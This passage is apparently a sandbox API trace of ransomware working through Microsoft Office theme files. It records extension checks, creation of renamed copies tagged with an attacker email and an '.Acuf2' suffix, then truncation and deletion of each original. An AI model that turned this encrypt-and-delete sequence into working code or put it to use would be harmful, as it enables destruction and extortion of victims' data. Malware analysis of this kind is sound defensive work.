	[0258.110] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.110] lstrlenW (lpString=".zip") returned 4
	[0258.110] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.110] lstrlenW (lpString=".rar") returned 4
	[0258.110] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.110] lstrlenW (lpString=".bz2") returned 4
	[0258.110] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.110] lstrlenW (lpString=".7z") returned 3
	[0258.110] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.110] lstrlenW (lpString=".dbf") returned 4
	[0258.110] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.110] lstrlenW (lpString=".1cd") returned 4
	[0258.110] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77
	[0258.110] lstrlenW (lpString=".jpg") returned 4
	[0258.110] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.110] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0258.110] lstrlenW (lpString="Solstice.eftx") returned 13
	[0258.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.201] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=27781) returned 1
	[0258.201] CloseHandle (hObject=0x220) returned 1
	[0258.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20
	[0258.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.202] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.202] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0258.202] GetLastError () returned 0x0
	[0258.202] ReadFile (in: hFile=0x220, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x6c85, lpOverlapped=0x0) returned 1
	[0258.204] WriteFile (in: hFile=0x29c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x6c90, lpOverlapped=0x0) returned 1
	[0258.205] ReadFile (in: hFile=0x220, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.205] WriteFile (in: hFile=0x29c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xee, lpOverlapped=0x0) returned 1
	[0258.205] SetEndOfFile (hFile=0x29c) returned 1
	[0258.205] CloseHandle (hObject=0x29c) returned 1
	[0258.205] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.205] SetEndOfFile (hFile=0x220) returned 1
	[0258.208] CloseHandle (hObject=0x220) returned 1
	[0258.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 1
	[0258.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.208] lstrlenW (lpString=".doc") returned 4
	[0258.208] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.208] lstrlenW (lpString=".docx") returned 5
	[0258.208] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.208] lstrlenW (lpString=".pdf") returned 4
	[0258.208] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.208] lstrlenW (lpString=".xls") returned 4
	[0258.208] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.208] lstrlenW (lpString=".xlsx") returned 5
	[0258.208] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.208] lstrlenW (lpString=".ppt") returned 4
	[0258.209] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.209] lstrlenW (lpString=".zip") returned 4
	[0258.209] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString=".rar") returned 4
	[0258.209] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString=".bz2") returned 4
	[0258.209] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString=".7z") returned 3
	[0258.209] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.209] lstrlenW (lpString=".dbf") returned 4
	[0258.209] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.209] lstrlenW (lpString=".1cd") returned 4
	[0258.209] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.209] lstrlenW (lpString=".jpg") returned 4
	[0258.209] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.209] lstrlenW (lpString=".doc") returned 4
	[0258.209] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString=".docx") returned 5
	[0258.209] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.209] lstrlenW (lpString=".pdf") returned 4
	[0258.209] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString=".xls") returned 4
	[0258.209] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.209] lstrlenW (lpString=".xlsx") returned 5
	[0258.210] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.210] lstrlenW (lpString=".ppt") returned 4
	[0258.210] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.210] lstrlenW (lpString=".zip") returned 4
	[0258.210] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.210] lstrlenW (lpString=".rar") returned 4
	[0258.210] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.210] lstrlenW (lpString=".bz2") returned 4
	[0258.210] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.210] lstrlenW (lpString=".7z") returned 3
	[0258.210] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.210] lstrlenW (lpString=".dbf") returned 4
	[0258.210] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.210] lstrlenW (lpString=".1cd") returned 4
	[0258.210] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80
	[0258.210] lstrlenW (lpString=".jpg") returned 4
	[0258.210] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.210] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0258.210] lstrlenW (lpString="Thatch.eftx") returned 11
	[0258.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.211] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=41295) returned 1
	[0258.211] CloseHandle (hObject=0x220) returned 1
	[0258.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20
	[0258.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.212] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.212] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0258.212] GetLastError () returned 0x0
	[0258.212] ReadFile (in: hFile=0x220, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xa14f, lpOverlapped=0x0) returned 1
	[0258.214] WriteFile (in: hFile=0x29c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xa150, lpOverlapped=0x0) returned 1
	[0258.216] ReadFile (in: hFile=0x220, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.216] WriteFile (in: hFile=0x29c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0258.216] SetEndOfFile (hFile=0x29c) returned 1
	[0258.216] CloseHandle (hObject=0x29c) returned 1
	[0258.216] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.216] SetEndOfFile (hFile=0x220) returned 1
	[0258.218] CloseHandle (hObject=0x220) returned 1
	[0258.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 1
	[0258.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.219] lstrlenW (lpString=".doc") returned 4
	[0258.219] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.219] lstrlenW (lpString=".docx") returned 5
	[0258.219] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.219] lstrlenW (lpString=".pdf") returned 4
	[0258.219] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.219] lstrlenW (lpString=".xls") returned 4
	[0258.219] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.219] lstrlenW (lpString=".xlsx") returned 5
	[0258.219] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.219] lstrlenW (lpString=".ppt") returned 4
	[0258.219] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.219] lstrlenW (lpString=".zip") returned 4
	[0258.220] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString=".rar") returned 4
	[0258.220] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString=".bz2") returned 4
	[0258.220] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString=".7z") returned 3
	[0258.220] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.220] lstrlenW (lpString=".dbf") returned 4
	[0258.220] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.220] lstrlenW (lpString=".1cd") returned 4
	[0258.220] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.220] lstrlenW (lpString=".jpg") returned 4
	[0258.220] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.220] lstrlenW (lpString=".doc") returned 4
	[0258.220] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString=".docx") returned 5
	[0258.220] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.220] lstrlenW (lpString=".pdf") returned 4
	[0258.220] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString=".xls") returned 4
	[0258.220] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString=".xlsx") returned 5
	[0258.220] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.220] lstrlenW (lpString=".ppt") returned 4
	[0258.220] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.220] lstrlenW (lpString=".zip") returned 4
	[0258.221] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.221] lstrlenW (lpString=".rar") returned 4
	[0258.221] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.221] lstrlenW (lpString=".bz2") returned 4
	[0258.221] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.221] lstrlenW (lpString=".7z") returned 3
	[0258.221] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.221] lstrlenW (lpString=".dbf") returned 4
	[0258.221] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.221] lstrlenW (lpString=".1cd") returned 4
	[0258.221] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78
	[0258.221] lstrlenW (lpString=".jpg") returned 4
	[0258.221] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.221] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0258.221] lstrlenW (lpString="Trek.eftx") returned 9
	[0258.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.222] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=129924) returned 1
	[0258.222] CloseHandle (hObject=0x220) returned 1
	[0258.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20
	[0258.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.222] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.222] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0258.223] GetLastError () returned 0x0
	[0258.223] ReadFile (in: hFile=0x220, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1fb84, lpOverlapped=0x0) returned 1
	[0258.227] WriteFile (in: hFile=0x29c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1fb90, lpOverlapped=0x0) returned 1
	[0258.229] ReadFile (in: hFile=0x220, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.229] WriteFile (in: hFile=0x29c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0258.229] SetEndOfFile (hFile=0x29c) returned 1
	[0258.229] CloseHandle (hObject=0x29c) returned 1
	[0258.229] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.229] SetEndOfFile (hFile=0x220) returned 1
	[0258.433] CloseHandle (hObject=0x220) returned 1
	[0258.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 1
	[0258.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.473] lstrlenW (lpString=".doc") returned 4
	[0258.473] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString=".docx") returned 5
	[0258.473] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.473] lstrlenW (lpString=".pdf") returned 4
	[0258.473] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString=".xls") returned 4
	[0258.473] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString=".xlsx") returned 5
	[0258.473] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.473] lstrlenW (lpString=".ppt") returned 4
	[0258.473] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.473] lstrlenW (lpString=".zip") returned 4
	[0258.473] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString=".rar") returned 4
	[0258.473] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString=".bz2") returned 4
	[0258.473] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString=".7z") returned 3
	[0258.473] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.473] lstrlenW (lpString=".dbf") returned 4
	[0258.473] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.473] lstrlenW (lpString=".1cd") returned 4
	[0258.473] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.473] lstrlenW (lpString=".jpg") returned 4
	[0258.473] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.474] lstrlenW (lpString=".doc") returned 4
	[0258.474] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.474] lstrlenW (lpString=".docx") returned 5
	[0258.474] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.474] lstrlenW (lpString=".pdf") returned 4
	[0258.474] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.474] lstrlenW (lpString=".xls") returned 4
	[0258.474] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.474] lstrlenW (lpString=".xlsx") returned 5
	[0258.474] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.474] lstrlenW (lpString=".ppt") returned 4
	[0258.474] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.474] lstrlenW (lpString=".zip") returned 4
	[0258.474] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.474] lstrlenW (lpString=".rar") returned 4
	[0258.474] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
